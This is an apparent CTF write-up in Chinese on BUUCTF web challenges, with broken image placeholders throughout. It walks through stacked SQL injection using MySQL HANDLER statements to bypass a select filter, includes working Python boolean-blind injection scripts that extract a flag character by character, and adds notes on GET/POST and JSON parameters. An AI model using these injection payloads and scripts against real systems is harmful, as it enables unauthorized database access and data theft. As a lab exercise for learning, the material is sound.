[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TKg4ZJg7-1669777517511)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669290482783.png)]
1’;show columns from FlagHere;#
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S98FQVBV-1669777517511)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669290737561.png)]
这里查到了字段里面有flag
这里select被过滤了,需要用一个新的可以代替select的东西叫handler
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。
基本语法:
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。
通过索引去查看的话可以按照一定的顺序,获取表中的数据。
通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。
通过索引列指定一个值,可以指定从哪一行开始。
通过HANDLER tbl_name READ index_name = value,指定从哪一行开始,通过NEXT继续浏览。
如果我们不想浏览一个表的所有行,可以使用where和limit子句。
1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7DdPtTxl-1669777517512)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669291286814.png)]
其实就是select 不可以用但是非用不可的时候就用这个handler
布尔盲注,这个一般的返回得是true或者false,非正即负,这里就是HELLO或者 Error ,利用这个报错写脚本
# import requests
# import time
# rest = "" # 要提前设置
# url = "http://202c6d64-010a-4fdd-b6b7-5ddfc98c2f2b.node4.buuoj.cn:81/"
# payload = {"id": ""}
# #python字典前面的id是键,后面的是键值
# for i in range(1, 100):
# begin = 33
# end = 130
# middle = (begin+end) >> 1 # 记得加括号 结果就是对begin+end除以2取整数
# while begin < end:
# payload["id"] = "0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, middle) # {0}{1}表示第一个传入的参数和第二个传入的参数
# resp = requests.post(url, data=payload) # data传入的必须是一个字典
# if "Hello" in resp.text:
# begin = middle + 1
# else:
# end = middle
# middle = (begin + end) >> 1#重新对middle赋值
# time.sleep(0.5)
# if chr(middle) == " ":
# break
# rest += chr(middle)#返回值是当前整数对应的 ASCII 字符
# print(rest)
# print(rest)
import requests
import re
url = 'http://202c6d64-010a-4fdd-b6b7-5ddfc98c2f2b.node4.buuoj.cn:81/index.php' # 路径
buu = '' # 记录flag
for i in range(1, 50): # flag的字符数量
for j in range(32, 140): # 可打印出得所有字符的asii码值
# 构造payload,对flag的值进行遍历,i为位数,j为遍历集,{0}和{1}分别为占位指针,{0}对应i,{1}对应j
payload = "if((ascii(substr((select(flag)from(flag)),{0},1))={1}),1,0)".format(i, j)
#subter是在select(flag)from(flag)去在{0}也就是i的位置去截出来一个字符,然后和{1}也就是j去比较然后得到ture或者是false接着在if表达式里面判断ture就是1,false是0
#这个是发到数据库里面所以也就是sql语法就好了
data = {
"id": payload} # 构造参数对象
res = requests.post(url=url, data=data) # 请求
# 进行验证和记录flag
if 'Hello' in res.text:
buu = buu + chr(j)
print(i)
print(buu)
break # 跳出一层循环
都在脚本里面了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RM0Tubm7-1669777517512)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663515033226.png)]
这个题目是get和post传参。get和post传参的区别就是在于get是在url后面直接加,post在数据体中加,但是get方式可以传的东西就有限制,少一些。
这道题目的难点就是在于一个json的传参,这个相当一个表,记住这个传参方式就好了。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NIkpMonP-1669777517512)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663515404690.png)]
这道题目也是考一个get和post传参,这里记住一个点get传参的时候是打?的,而遍历文件目录的时候不需要。好了这个都是题外话。